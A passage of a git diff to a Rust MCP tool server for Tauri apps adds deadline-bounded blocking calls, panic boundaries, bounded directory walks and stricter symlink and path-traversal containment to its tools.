None).unwrap_err(); assert!(err.contains("pattern too complex"), "{sql}: {err}"); - assert!(started.elapsed() < Duration::from_secs(2)); + // Refused per row BEFORE matching (generous bound: loaded CI machines). + assert!( + started.elapsed() < Duration::from_secs(5), + "{:?}", + started.elapsed() + ); } // An ordinary pattern still works. let r = query( diff --git a/crates/victauri-plugin/src/introspection.rs b/crates/victauri-plugin/src/introspection.rs index 30884d40..112d7dc7 100644 --- a/crates/victauri-plugin/src/introspection.rs +++ b/crates/victauri-plugin/src/introspection.rs @@ -837,13 +837,18 @@ impl AppStateProbes { /// registered under that name. #[must_use] pub fn run(&self, name: &str) -> Option { - let probe = self - .inner + self.get(name).map(|p| p()) + } + + /// The probe registered under `name`, to run somewhere other than the caller's thread + /// (the `app_state` tool runs it on the blocking pool with a timeout). + #[must_use] + pub fn get(&self, name: &str) -> Option> { + self.inner .read() .unwrap_or_else(std::sync::PoisonError::into_inner) .get(name) - .cloned(); - probe.map(|p| p()) + .cloned() } /// Number of registered probes. diff --git a/crates/victauri-plugin/src/mcp/bounded.rs b/crates/victauri-plugin/src/mcp/bounded.rs new file mode 100644 index 00000000..29724fb3 --- /dev/null +++ b/crates/victauri-plugin/src/mcp/bounded.rs @@ -0,0 +1,208 @@ +//! Bounds for work a tool handler cannot interrupt or fully trust: blocking `SQLite` calls, +//! app-supplied probes, a handler that panics, and caller-supplied look-back windows. + +use std::future::Future; +use std::panic::AssertUnwindSafe; +use std::pin::Pin; +use std::task::{Context, Poll}; +use std::time::Duration; + +use tokio::sync::Semaphore; + +/// Blocking database calls (`query_db`, `introspect db_health`) allowed to run at once. +/// +/// A single `SQLite` string op (`LIKE`, `replace`, `instr`, `GLOB`) never checks for an +/// interrupt, so it can overrun its deadline by seconds; a timed-out call's thread keeps +/// running until the op returns. The cap stops repeated calls from stacking such threads. +#[cfg(feature = "sqlite")] +pub const DB_MAX_CONCURRENT: usize = 2; +#[cfg(feature = "sqlite")] +pub static DB_SLOTS: Semaphore = Semaphore::const_new(DB_MAX_CONCURRENT); + +/// Grace on top of an op's own deadline before the caller stops waiting for it. +#[cfg(feature = "sqlite")] +pub const BLOCKING_DEADLINE_SLACK: Duration = Duration::from_secs(5); + +/// Run blocking `f` on the blocking pool and return within `deadline`, whatever `f` does. +/// +/// With `slots`, a permit is taken first (the wait counts against `deadline`) and is held BY +/// THE BLOCKING CLOSURE, so a call the caller gave up on keeps its slot until its thread +/// actually finishes — concurrency stays capped even across timeouts. A panic in `f` becomes +/// an error, never a hung or reset request. +pub async fn run_blocking_bounded( + slots: Option<&'static Semaphore>, + what: &str, + deadline: Duration, + f: impl FnOnce() -> Result + Send + 'static, +) -> Result { + let deadline_at = tokio::time::Instant::now() + deadline; + let permit = match slots { + Some(slots) => match tokio::time::timeout_at(deadline_at, slots.acquire()).await { + Ok(Ok(permit)) => Some(permit), + Ok(Err(_closed)) => return Err(format!("{what} is unavailable")), + Err(_) => { + return Err(format!( + "{what} is busy: earlier calls are still running (a single SQLite string \ + operation such as LIKE, GLOB, replace() or instr() cannot be interrupted \ + and may overrun its deadline). Retry shortly." + )); + } + }, + None => None, + }; + let task = tokio::task::spawn_blocking(move || { + let _permit = permit; + f() + }); + match tokio::time::timeout_at(deadline_at, task).await { + Ok(Ok(result)) => result, + Ok(Err(e)) if e.is_panic() => Err(format!( + "{what} panicked: {}", + panic_message(&*e.into_panic()) + )), + Ok(Err(e)) => Err(format!("{what} failed: {e}")), + Err(_) => Err(format!( + "{what} did not finish within {} ms (it is left to finish in the background)", + deadline.as_millis() + )), + } +} + +/// The message carried by a panic payload, if it is a string. +pub fn panic_message(payload: &(dyn std::any::Any + Send)) -> String { + payload + .downcast_ref::<&str>() + .map(|s| (*s).to_string()) + .or_else(|| payload.downcast_ref::().cloned()) + .unwrap_or_else(|| "non-string panic payload".to_string()) +} + +/// A future that turns a panic while polling `F` into `Err(message)`. +/// +/// Tool dispatch has no other panic boundary: a panicking handler used to unwind into +/// hyper's connection task, so an MCP call hung until the client timed out and a REST call +/// saw a reset connection. +pub struct CatchUnwind(Pin>); + +impl CatchUnwind { + pub fn new(future: F) -> Self { + Self(Box::pin(future)) + } +} + +impl Future for CatchUnwind { + type Output = Result; + + fn poll(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + let inner = self.0.as_mut(); + match std::panic::catch_unwind(AssertUnwindSafe(|| inner.poll(cx))) { + Ok(Poll::Pending) => Poll::Pending, + Ok(Poll::Ready(value)) => Poll::Ready(Ok(value)), + Err(payload) => Poll::Ready(Err(panic_message(&*payload))), + } + } +} + +/// `now - ms` milliseconds, saturating at the earliest representable instant ("all history"). +/// +/// `Utc::now() - TimeDelta` PANICS when the result leaves chrono's range, and a caller's +/// `u64` cast to `i64` wrapped negative into a FUTURE baseline. +pub fn ms_ago(now: chrono::DateTime, ms: u64) -> chrono::DateTime { + let delta = i64::try_from(ms) + .ok() + .and_then(chrono::TimeDelta::try_milliseconds) + .unwrap_or(chrono::TimeDelta::MAX); + now.checked_sub_signed(delta) + .unwrap_or(chrono::DateTime::::MIN_UTC) +} + +/// `now - secs` seconds, saturating like [`ms_ago`]. +pub fn secs_ago(now: chrono::DateTime, secs: u64) -> chrono::DateTime { + ms_ago(now, secs.saturating_mul(1000)) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn look_back_saturates_instead_of_panicking_or_wrapping() { + let now = chrono::Utc::now(); + for ms in [u64::MAX, i64::MAX as u64 + 1, 9_000_000_000_000_000] { + assert_eq!( + ms_ago(now, ms), + chrono::DateTime::::MIN_UTC, + "{ms}" + ); + } + for secs in [u64::MAX, 10_000_000_000_000] { + assert_eq!( + secs_ago(now, secs), + chrono::DateTime::::MIN_UTC + ); + } + assert_eq!( + ms_ago(now, 1500), + now - chrono::TimeDelta::milliseconds(1500) + ); + assert_eq!(secs_ago(now, 30), now - chrono::TimeDelta::seconds(30)); + assert!(ms_ago(now, 0) == now); + } + + #[tokio::test] + async fn catch_unwind_reports_a_panic_as_an_error() { + let r: Result<(), String> = CatchUnwind::new(async { + tokio::task::yield_now().await; + panic!("boom in handler"); + }) + .await; + let err = r.unwrap_err(); + assert!(err.contains("boom in handler"), "{err}"); + assert_eq!(CatchUnwind::new(async { 7 }).await, Ok(7)); + } + + /// A blocking op past its deadline returns within the deadline (not when the op ends), + /// its slot stays taken until the op really finishes, and a panic is an error. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn blocking_calls_are_deadlined_capped_and_panic_safe() { + static ONE_SLOT: Semaphore = Semaphore::const_new(1); + let started = std::time::Instant::now(); + let err = run_blocking_bounded( + Some(&ONE_SLOT), + "slow op", + Duration::from_millis(200), + || { + std::thread::sleep(Duration::from_millis(1500)); + Ok(()) + }, + ) + .await + .unwrap_err(); + assert!(err.contains("did not finish within 200 ms"), "{err}"); + assert!( + started.elapsed() < Duration::from_millis(1000), + "{:?}", + started.elapsed() + ); + + // The abandoned op still holds the only slot: a second call is refused as busy. + let err = run_blocking_bounded(Some(&ONE_SLOT), "db", Duration::from_millis(200), || Ok(1)) + .await + .unwrap_err(); + assert!(err.contains("busy"), "{err}"); + assert_eq!(ONE_SLOT.available_permits(), 0); + + // Once the op's thread finishes, the slot comes back. + let ok = run_blocking_bounded(Some(&ONE_SLOT), "db", Duration::from_secs(5), || Ok(2)) + .await + .unwrap(); + assert_eq!(ok, 2); + + let err = run_blocking_bounded::<()>(None, "probe", Duration::from_secs(5), || { + panic!("probe exploded") + }) + .await + .unwrap_err(); + assert!(err.contains("probe panicked: probe exploded"), "{err}"); + } +} diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index d723427b..05e876ce 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -6,11 +6,14 @@ mod authz; mod backend_params; +mod bounded; mod compound_params; mod helpers; mod introspection_params; mod other_params; mod rest; +#[cfg(test)] +mod robustness_tests; mod server; mod verification_params; mod webview_params; @@ -97,6 +100,88 @@ const MAX_LOG_FIELD_BYTES: usize = 4096; /// unbounded result Vec and blow the eval/output cap (audit B7). When hit, the /// listing stops and the response is marked `truncated: true`. const MAX_DIR_ENTRIES: usize = 10_000; +/// Cap on directory entries `list_app_dir` EXAMINES (returned or not): with a `pattern` that +/// matches nothing, [`MAX_DIR_ENTRIES`] never trips and the walk used to cover the whole tree. +const MAX_DIR_VISITED: usize = 100_000; +/// Wall-clock budget for one `list_app_dir` walk (slow or network filesystems). +const MAX_DIR_WALK_TIME: std::time::Duration = std::time::Duration::from_secs(5); + +/// One bounded `list_app_dir` walk: stops (and reports `truncated`) at [`MAX_DIR_ENTRIES`] +/// returned, [`MAX_DIR_VISITED`] examined, or [`MAX_DIR_WALK_TIME`]. +struct DirWalk { + /// The listing root, canonicalized ONCE (it used to be re-canonicalized per entry). + canon_base: std::path::PathBuf, + pattern: Option, + max_depth: u32, + deadline: std::time::Instant, + max_visited: usize, + visited: usize, + truncated: bool, + entries: Vec, +} + +impl DirWalk { + fn out_of_budget(&mut self) -> bool { + if self.entries.len() >= MAX_DIR_ENTRIES + || self.visited >= self.max_visited + || std::time::Instant::now() >= self.deadline + { + self.truncated = true; + } + self.truncated + } + + fn visit(&mut self, dir: &std::path::Path, base: &std::path::Path, depth: u32) { + let Ok(read_dir) = std::fs::read_dir(dir) else { + return; + }; + for entry in read_dir.flatten() { + if self.out_of_budget() { + return; + } + self.visited += 1; + let path = entry.path(); + if path.is_symlink() { + continue; + } + // `is_symlink` does not cover every redirecting filesystem object + // (notably Windows directory junctions/reparse points). Canonical + // containment is the actual boundary before metadata or recursion. + if !std::fs::canonicalize(&path).is_ok_and(|c| c.starts_with(&self.canon_base)) { + continue; + } + let name = entry.file_name().to_string_lossy().into_owned(); + let is_dir = path.is_dir(); + if let Some(pat) = self.pattern.as_deref() + && !is_dir + && !VictauriMcpHandler::matches_glob(&name, pat) + { + continue; + } + let relative = path + .strip_prefix(base) + .unwrap_or(&path) + .to_string_lossy() + .into_owned(); + let meta = std::fs::metadata(&path).ok(); + + self.entries.push(serde_json::json!({ + "name": name, + "path": relative, + "is_dir": is_dir, + "size": meta.as_ref().map(std::fs::Metadata::len), + "modified": meta.as_ref() + .and_then(|m| m.modified().ok()) + .map(|t| t.duration_since(std::time::SystemTime::UNIX_EPOCH) + .unwrap_or_default().as_secs()), + })); + + if is_dir && depth < self.max_depth { + self.visit(&path, base, depth + 1); + } + } + } +} /// `db_health` performs integrity checks and table counts against app-owned /// databases. Each size-dependent phase is bounded separately (see @@ -121,6 +206,19 @@ fn format_timeout(timeout: std::time::Duration) -> String { } } +/// Error text for a window query the UI thread did not answer: a wedged/busy UI must never +/// read as "no windows" or "window not found". +fn ui_busy(error: &str) -> String { + format!("UI thread busy (dispatch timed out) - window state is unavailable, not empty: {error}") +} + +/// The error result for a tool handler that panicked (see `bounded::CatchUnwind`). +fn tool_panicked(tool: &str, panic: &str) -> CallToolResult { + tool_error(format!( + "internal error: the '{tool}' handler panicked ({panic}); the server is still running" + )) +} + /// Upper bound for `invoke_command`'s per-call `timeout_ms` (matches the eval-timeout ceiling). const MAX_INVOKE_TIMEOUT_MS: u64 = 300_000; @@ -133,6 +231,13 @@ fn is_aborted_call(error: &str) -> bool { && (error.contains("was closed while") || error.contains("loaded a new page"))) } +/// How long `app_state` waits for an app-registered probe closure (shortened under test). +const PROBE_TIMEOUT: std::time::Duration = if cfg!(test) { + std::time::Duration::from_secs(1) +} else { + std::time::Duration::from_secs(10) +}; + /// Upper bound for an injected `fault` delay (matches the `wait_for` ceiling). const MAX_FAULT_DELAY_MS: u64 = 120_000; /// How often a slow eval re-checks that its target window still exists (first check after @@ -693,7 +798,9 @@ impl VictauriMcpHandler { )] async fn wait_for(&self, Parameters(params): Parameters) -> CallToolResult { let timeout_ms = params.timeout_ms.unwrap_or(10_000).min(120_000); - let poll = params.poll_ms.unwrap_or(200).max(20); + // Clamp BEFORE the value reaches JS: a poll longer than the wait is meaningless, and + // one past 2^31 ms overflows `setTimeout` (which then fires immediately, in a loop). + let poll = params.poll_ms.unwrap_or(200).clamp(20, timeout_ms.max(20)); // The `expression` and `event` conditions are awaited server-side (they // poll the eval engine and the captured event bus respectively), so a @@ -811,8 +918,7 @@ impl VictauriMcpHandler { }; let since_ms = params.since_ms.unwrap_or(2000); let start = std::time::Instant::now(); - let baseline = chrono::Utc::now() - - chrono::TimeDelta::try_milliseconds(since_ms as i64).unwrap_or_default(); + let baseline = bounded::ms_ago(chrono::Utc::now(), since_ms); let deadline = start + std::time::Duration::from_millis(timeout_ms); let poll = std::time::Duration::from_millis(poll_ms); @@ -844,7 +950,11 @@ impl VictauriMcpHandler { "elapsed_ms": start.elapsed().as_millis() as u64, })); } - tokio::time::sleep(poll).await; + // Never sleep past the deadline (a full poll used to overshoot a short timeout). + tokio::time::sleep( + poll.min(deadline.saturating_duration_since(std::time::Instant::now())), + ) + .await; } } @@ -934,8 +1044,20 @@ impl VictauriMcpHandler { let Some(name) = params.probe else { return json_result(&serde_json::json!({ "probes": self.state.probes.names() })); }; - if let Some(value) = self.state.probes.run(&name) { - json_result(&value) + if let Some(probe) = self.state.probes.get(&name) { + // A probe is app code: run it off the async executor, bounded, and with a panic + // boundary (it used to run inline on a tokio worker with neither). + match bounded::run_blocking_bounded( + None, + &format!("probe '{name}'"), + PROBE_TIMEOUT, + move || Ok(probe()), + ) + .await + { + Ok(value) => json_result(&value), + Err(e) => tool_error(e), + } } else { let available = self.state.probes.names(); tool_error_with_hint( @@ -1162,58 +1284,63 @@ impl VictauriMcpHandler { Err(e) => return tool_error(e), }; - let target = if let Some(ref sub) = params.path { - // Lexical traversal guard BEFORE the existence check: `safe_within` - // canonicalizes (which errors on non-existent paths), so a `..` or - // absolute sub-path must be rejected as traversal up front rather - // than falling through to a misleading "does not exist" result. - if let Err(e) = Self::lexical_safe(std::path::Path::new(sub)) { - return tool_error(e); - } - let resolved = base.join(sub); - // A missing directory is a normal, non-error result. - if !resolved.exists() { - return json_result(&serde_json::json!({ - "base": base.to_string_lossy(), - "path": sub, - "exists": false, - "entries": [], - "count": 0, - })); - } - if let Err(e) = Self::safe_within(&base, &resolved) { - return tool_error(e); - } - resolved - } else { - base.clone() - }; + // Lexical traversal guard BEFORE any filesystem access: a `..` or absolute sub-path + // is rejected as traversal up front. + if let Some(sub) = params.path.as_deref() + && let Err(e) = Self::lexical_safe(std::path::Path::new(sub)) + { + return tool_error(e); + } + // Every filesystem call below is synchronous and unbounded in the directory's size, so + // the whole walk runs on the blocking pool (it used to run on an async worker). + let walk = tokio::task::spawn_blocking(move || Self::list_app_dir_blocking(&base, ¶ms)); + match walk.await { + Ok(Ok(listing)) => json_result(&listing), + Ok(Err(e)) => tool_error(e), + Err(e) => tool_error(format!("directory listing task failed: {e}")), + } + } - // A missing base directory is a normal, non-error result. - if !target.exists() { - return json_result(&serde_json::json!({ + fn list_app_dir_blocking( + base: &std::path::Path, + params: &ListAppDirParams, + ) -> Result { + let sub = params.path.clone().unwrap_or_default(); + let target = base.join(&sub); + // A missing directory is a normal, non-error result — unless the path escapes the + // base through a symlink, which is refused whether or not its target exists (so the + // listing is no oracle for paths outside the base). + if !Self::contained_or_missing(base, &target)? { + return Ok(serde_json::json!({ "base": base.to_string_lossy(), - "path": params.path.unwrap_or_default(), + "path": sub, "exists": false, "entries": [], "count": 0, })); } + let canon_base = std::fs::canonicalize(base) + .map_err(|e| format!("cannot resolve base directory: {e}"))?; - let max_depth = params.max_depth.unwrap_or(1).min(5); - let pattern = params.pattern.as_deref(); - let mut entries = Vec::new(); - - Self::list_dir_recursive(&target, &base, 0, max_depth, pattern, &mut entries); - let truncated = entries.len() >= MAX_DIR_ENTRIES; + let mut walk = DirWalk { + canon_base, + pattern: params.pattern.clone(), + max_depth: params.max_depth.unwrap_or(1).min(5), + deadline: std::time::Instant::now() + MAX_DIR_WALK_TIME, + max_visited: MAX_DIR_VISITED, + visited: 0, + truncated: false, + entries: Vec::new(), + }; + walk.visit(&target, base, 0); - json_result(&serde_json::json!({ + Ok(serde_json::json!({ "base": base.to_string_lossy(), - "path": params.path.unwrap_or_default(), + "path": sub, "exists": true, - "entries": entries, - "count": entries.len(), - "truncated": truncated, + "count": walk.entries.len(), + "entries": walk.entries, + "truncated": walk.truncated, })) } @@ -1244,8 +1371,11 @@ impl VictauriMcpHandler { return tool_error(e); } let target = base.join(¶ms.path); - if !target.exists() { - return tool_error(format!("file not found: {}", params.path)); + // Refused as traversal whether or not a symlinked-out target exists (no oracle). + match Self::contained_or_missing(&base, &target) { + Ok(true) => {} + Ok(false) => return tool_error(format!("file not found: {}", params.path)), + Err(e) => return tool_error(e), } if let Err(e) = Self::safe_within(&base, &target) { return tool_error(e); @@ -1314,6 +1444,15 @@ impl VictauriMcpHandler { "content": b64, })) } else { + // Truncation can split a multi-byte character; that is not a non-UTF-8 file. + // `error_len() == None` means the bytes end mid-character, so drop the partial + // character instead of returning the whole read as base64. + if truncated + && let Err(e) = std::str::from_utf8(&bytes) + && e.error_len().is_none() + { + bytes.truncate(e.valid_up_to()); + } match String::from_utf8(bytes) { Ok(text) => json_result(&serde_json::json!({ "file": file_info, @@ -1371,22 +1510,7 @@ impl VictauriMcpHandler { Err(e) => return tool_error(format!("cannot access app data directory: {e}")), }; - let app_dirs: Vec = [ - self.bridge.app_data_dir(), - self.bridge.app_config_dir(), - self.bridge.app_local_data_dir(), - self.bridge.app_log_dir(), - ] - .into_iter() - .filter_map(Result::ok) - .collect::>() - .into_iter() - .collect(); - // Explicitly-configured roots (VictauriBuilder::db_search_paths) take - // precedence over OS app directories for auto-discovery, so a configured - // application DB wins over incidental ones (e.g. WebView internals). - let mut search_dirs: Vec = self.state.db_search_paths.clone(); - search_dirs.extend(app_dirs); + let search_dirs = self.db_roots(); let db_path = if let Some(ref requested_path) = params.path { match Self::resolve_existing_db_path(&search_dirs, requested_path) { @@ -1420,22 +1544,53 @@ impl VictauriMcpHandler { let query = params.query; let max_rows = params.max_rows; - match tokio::task::spawn_blocking(move || { - crate::database::query(&db_path, &query, &bind_params, max_rows) - }) + match bounded::run_blocking_bounded( + Some(&bounded::DB_SLOTS), + "database query", + crate::database::QUERY_TIMEOUT + bounded::BLOCKING_DEADLINE_SLACK, + move || crate::database::query(&db_path, &query, &bind_params, max_rows), + ) .await { - Ok(Ok(mut result)) => { + Ok(mut result) => { if let Some(obj) = result.as_object_mut() { obj.insert("database".to_string(), serde_json::json!(db_display)); } json_result(&result) } - Ok(Err(e)) => tool_error(e), - Err(e) => tool_error(format!("database query task failed: {e}")), + Err(e) => tool_error(e), } } + /// Roots a `query_db` / `db_health` database `path` resolves against, in precedence + /// order: configured `db_search_paths` (so a configured app DB beats incidental ones such + /// as `WebView` internals), then the app's data, config, local-data and log directories. + /// De-duplicated keeping the FIRST occurrence: a relative path present under two roots + /// always resolves to the same file (a `HashSet` made that nondeterministic), and both + /// tools search the same places (`db_health` used to skip the log directory). + #[cfg(feature = "sqlite")] + fn db_roots(&self) -> Vec { + let mut roots: Vec = Vec::new(); + let app_dirs = [ + self.bridge.app_data_dir(), + self.bridge.app_config_dir(), + self.bridge.app_local_data_dir(), + self.bridge.app_log_dir(), + ]; + let candidates = self + .state + .db_search_paths + .iter() + .cloned() + .chain(app_dirs.into_iter().filter_map(Result::ok)); + for dir in candidates { + if !roots.contains(&dir) { + roots.push(dir); + } + } + roots + } + // ── Compound Tools ────────────────────────────────────────────────────── #[tool( @@ -1722,7 +1877,10 @@ impl VictauriMcpHandler { async fn window(&self, Parameters(params): Parameters) -> CallToolResult { match params.action { WindowAction::GetState => { - let states = self.bridge.get_window_states(params.label.as_deref()); + let states = match self.bridge.try_get_window_states(params.label.as_deref()) { + Ok(states) => states, + Err(e) => return tool_error(ui_busy(&e)), + }; // A specific label that matches no window is an error, not an // empty array (which reads as "success, no state"). if states.is_empty() @@ -1734,10 +1892,10 @@ impl VictauriMcpHandler { } json_result(&states) } - WindowAction::List => { - let labels = self.bridge.list_window_labels(); - json_result(&labels) - } + WindowAction::List => match self.bridge.try_list_window_labels() { + Ok(labels) => json_result(&labels), + Err(e) => tool_error(ui_busy(&e)), + }, WindowAction::Introspectability => self.window_introspectability().await, WindowAction::Manage => { if !self.state.privacy.is_tool_enabled("window.manage") { @@ -2112,7 +2270,10 @@ impl VictauriMcpHandler { // and vice versa. With no label, every live window is flushed. let labels: Vec = match params.webview_label.as_deref() { Some(l) => vec![l.to_string()], - None => self.bridge.list_window_labels(), + None => match self.bridge.try_list_window_labels() { + Ok(labels) => labels, + Err(e) => return tool_error(ui_busy(&e)), + }, }; let mut captured = 0usize; let mut failed = Vec::new(); @@ -3303,7 +3464,12 @@ impl VictauriMcpHandler { } IntrospectAction::Capabilities => { let config = self.bridge.tauri_config(); - let live_windows = self.bridge.list_window_labels(); + // A busy UI is reported as such, never as "no live windows". + let (live_windows, live_windows_error) = match self.bridge.try_list_window_labels() + { + Ok(labels) => (Some(labels), None), + Err(e) => (None, Some(ui_busy(&e))), + }; let result = serde_json::json!({ "app": { @@ -3314,6 +3480,7 @@ impl VictauriMcpHandler { "security": config.get("security"), "configured_windows": config.get("windows"), "live_windows": live_windows, + "live_windows_error": live_windows_error, "configured_plugins": config.get("plugins"), "victauri": { "registered_commands": self.state.registry.list().len(), @@ -3426,10 +3593,7 @@ impl VictauriMcpHandler { let since_ms = opts .and_then(|a| a.get("since_ms")) .and_then(serde_json::Value::as_u64); - let cutoff = since_ms.map(|ms| { - chrono::Utc::now() - - chrono::TimeDelta::milliseconds(i64::try_from(ms).unwrap_or(i64::MAX)) - }); + let cutoff = since_ms.map(|ms| bounded::ms_ago(chrono::Utc::now(), ms)); let all_tauri = self.state.event_bus.events(); let tauri_total = all_tauri.len(); @@ -3633,8 +3797,7 @@ impl VictauriMcpHandler { match params.action { ExplainAction::Summary => { let secs = params.seconds.unwrap_or(30); - let since = chrono::Utc::now() - - chrono::TimeDelta::try_seconds(secs as i64).unwrap_or_default(); + let since = bounded::secs_ago(chrono::Utc::now(), secs); let events = self .explain_events(since, params.webview_label.as_deref()) .await; @@ -3727,8 +3890,7 @@ impl VictauriMcpHandler { } ExplainAction::LastAction => { let secs = params.seconds.unwrap_or(5); - let since = chrono::Utc::now() - - chrono::TimeDelta::try_seconds(secs as i64).unwrap_or_default(); + let since = bounded::secs_ago(chrono::Utc::now(), secs); let events = self .explain_events(since, params.webview_label.as_deref()) .await; @@ -3846,8 +4008,7 @@ impl VictauriMcpHandler { } ExplainAction::Diff => { let secs = params.seconds.unwrap_or(10); - let since = chrono::Utc::now() - - chrono::TimeDelta::try_seconds(secs as i64).unwrap_or_default(); + let since = bounded::secs_ago(chrono::Utc::now(), secs); let events = self .explain_events(since, params.webview_label.as_deref()) .await; @@ -3937,6 +4098,36 @@ impl VictauriMcpHandler { let start = std::time::Instant::now(); tracing::debug!(tool = %name, "REST tool invocation started"); + // A panicking handler becomes an error RESULT; without this boundary it unwound into + // hyper's connection task and the client saw a reset connection. + let result = match bounded::CatchUnwind::new(self.dispatch_tool(name, args)).await { + Ok(dispatched) => dispatched?, + Err(panic) => { + tracing::error!(tool = %name, "tool handler panicked: {panic}"); + tool_panicked(name, &panic) + } + }; + + let elapsed = start.elapsed(); + tracing::debug!( + tool = %name, + elapsed_ms = elapsed.as_millis() as u64, + "REST tool invocation completed" + ); + + if self.state.privacy.redaction_enabled { + Ok(Self::redact_result(result, &self.state.privacy)) + } else { + Ok(result) + } + } + + /// Route one already-authorized REST call to its tool handler. + async fn dispatch_tool( + &self, + name: &str, + args: serde_json::Value, + ) -> Result { let result = match name { "eval_js" => { let p: EvalJsParams = Self::parse_args(args)?; @@ -4071,19 +4262,7 @@ impl VictauriMcpHandler { } _ => return Err(rest::ToolCallError::UnknownTool(name.to_string())), }; - - let elapsed = start.elapsed(); - tracing::debug!( - tool = %name, - elapsed_ms = elapsed.as_millis() as u64, - "REST tool invocation completed" - ); - - if self.state.privacy.redaction_enabled { - Ok(Self::redact_result(result, &self.state.privacy)) - } else { - Ok(result) - } + Ok(result) } fn parse_args( @@ -4158,7 +4337,23 @@ impl VictauriMcpHandler { requested: &str, ) -> Result { let candidate = std::path::Path::new(requested); + // One answer for "missing" and "resolves outside every root" (a symlink inside a root + // pointing elsewhere): distinct answers told the caller whether an arbitrary path + // exists on disk. + let not_found = || { + format!( + "database not found (or it resolves outside the allowed directories): {requested}" + ) + }; if candidate.is_absolute() { + // `root/link/../y` normalizes lexically to `root/y`, but the OS resolves `..` AFTER + // following `link` — so the existence check probed a path outside every root. + if candidate + .components() + .any(|c| matches!(c, std::path::Component::ParentDir)) + { + return Err("path traversal not allowed: '..' is rejected".to_string()); + } // Decide containment LEXICALLY first, before touching the requested path: checking // existence first answered "does X exist?" for any path on disk ("not found" vs // "not within an allowed directory"). The canonical check below still catches @@ -4175,12 +4370,10 @@ impl VictauriMcpHandler { register its parent via VictauriBuilder::db_search_paths" )); } - if !candidate.exists() { - return Err(format!("database not found: {requested}")); - } - if roots - .iter() - .any(|root| Self::safe_within(root, candidate).is_ok()) + if candidate.exists() + && roots + .iter() + .any(|root| Self::safe_within(root, candidate).is_ok()) { // Open the CANONICAL validated path, not the caller's literal absolute path, // so the DB is opened at exactly the containment-approved location — symmetric @@ -4191,17 +4384,14 @@ impl VictauriMcpHandler { .map_err(|e| format!("cannot resolve database path: {e}"))?; return Ok(canonical); } - return Err(format!( - "absolute path '{requested}' is not within an allowed directory; \ - register its parent via VictauriBuilder::db_search_paths" - )); + return Err(not_found()); } Self::lexical_safe(candidate)?; for root in roots { let resolved = root.join(candidate); - if resolved.exists() { - Self::safe_within(root, &resolved)?; + // A match that escapes its root is treated exactly like a miss (see `not_found`). + if resolved.exists() && Self::safe_within(root, &resolved).is_ok() { // Open the CANONICAL validated path, not the lexical join, so the DB is opened // at exactly the path containment approved (closes the trivial validate-lexical // vs open-lexical TOCTOU; a same-privilege local symlink swap between @@ -4217,9 +4407,7 @@ impl VictauriMcpHandler { .map(|root| root.display().to_string()) .collect::>() .join(", "); - Err(format!( - "database not found: {requested} (searched: {roots})" - )) + Err(format!("{} (searched: {roots})", not_found())) } /// Events for `explain` since `since`. While a recording is active the background drain @@ -4278,7 +4466,10 @@ impl VictauriMcpHandler { /// hidden in the gap is still TOCTOU; the worst case is a wrong image, not a security /// boundary. fn resolve_visible_capture_target(&self, label: Option<&str>) -> Result { - let states = self.bridge.get_window_states(None); + let states = self + .bridge + .try_get_window_states(None) + .map_err(|e| ui_busy(&e))?; if let Some(label) = label { // An explicit label that the enumerator reports hidden is rejected; visible or // unknown labels fall through (an unknown one lets get_native_handle produce the @@ -4308,66 +4499,34 @@ impl VictauriMcpHandler { }) } - fn list_dir_recursive( - dir: &std::path::Path, + /// Whether `target` exists, after refusing it if it resolves outside `base`. + /// + /// For a missing target, containment is decided on its deepest EXISTING ancestor, so a + /// path routed through a symlink out of `base` is refused whether or not its final + /// component exists ("missing" vs "outside" would otherwise reveal whether an arbitrary + /// outside path exists). + fn contained_or_missing( base: &std::path::Path, - depth: u32, - max_depth: u32, - pattern: Option<&str>, - entries: &mut Vec, - ) { - if entries.len() >= MAX_DIR_ENTRIES { - return; - } - let Ok(read_dir) = std::fs::read_dir(dir) else { - return; + target: &std::path::Path, + ) -> Result { + // A missing base holds nothing (and no symlink that could lead out of it). + let Ok(canon_base) = std::fs::canonicalize(base) else { + return Ok(false); }; - for entry in read_dir.flatten() { - if entries.len() >= MAX_DIR_ENTRIES { - return; - } - let path = entry.path(); - if path.is_symlink() { - continue; - } - // `is_symlink` does not cover every redirecting filesystem object - // (notably Windows directory junctions/reparse points). Canonical - // containment is the actual boundary before metadata or recursion. - if Self::safe_within(base, &path).is_err() { - continue; - } - let name = entry.file_name().to_string_lossy().into_owned(); - let relative = path - .strip_prefix(base) - .unwrap_or(&path) - .to_string_lossy() - .into_owned(); - - if let Some(pat) = pattern - && !Self::matches_glob(&name, pat) - && !path.is_dir() - { - continue; - } - - let is_dir = path.is_dir(); - let meta = std::fs::metadata(&path).ok(); - - entries.push(serde_json::json!({ - "name": name, - "path": relative, - "is_dir": is_dir, - "size": meta.as_ref().map(std::fs::Metadata::len), - "modified": meta.as_ref() - .and_then(|m| m.modified().ok()) - .map(|t| t.duration_since(std::time::SystemTime::UNIX_EPOCH) - .unwrap_or_default().as_secs()), - })); - - if is_dir && depth < max_depth { - Self::list_dir_recursive(&path, base, depth + 1, max_depth, pattern, entries); + let exists = target.exists(); + let probe = if exists { + Some(target) + } else { + target.ancestors().skip(1).find(|a| a.exists()) + }; + if let Some(probe) = probe { + let canonical = std::fs::canonicalize(probe) + .map_err(|e| format!("cannot resolve target path: {e}"))?; + if !canonical.starts_with(&canon_base) { + return Err("path traversal not allowed".to_string()); } } + Ok(exists) } fn matches_glob(name: &str, pattern: &str) -> bool { @@ -4389,8 +4548,14 @@ impl VictauriMcpHandler { /// the bridge's callback IPC, so eval/dom/animation tools see nothing. This /// turns that silent dead-end into an actionable, up-front diagnosis. async fn window_introspectability(&self) -> CallToolResult { - let labels = self.bridge.list_window_labels(); - let states = self.bridge.get_window_states(None); + let labels = match self.bridge.try_list_window_labels() { + Ok(labels) => labels, + Err(e) => return tool_error(ui_busy(&e)), + }; + let states = match self.bridge.try_get_window_states(None) { + Ok(states) => states, + Err(e) => return tool_error(ui_busy(&e)), + }; let mut report = Vec::with_capacity(labels.len()); let mut blind = 0usize; for label in &labels { @@ -4782,18 +4947,7 @@ impl VictauriMcpHandler { #[cfg(feature = "sqlite")] async fn run_db_health(&self, db_path: Option<&str>) -> Result { - // Roots: configured db_search_paths first, then app directories. - let mut 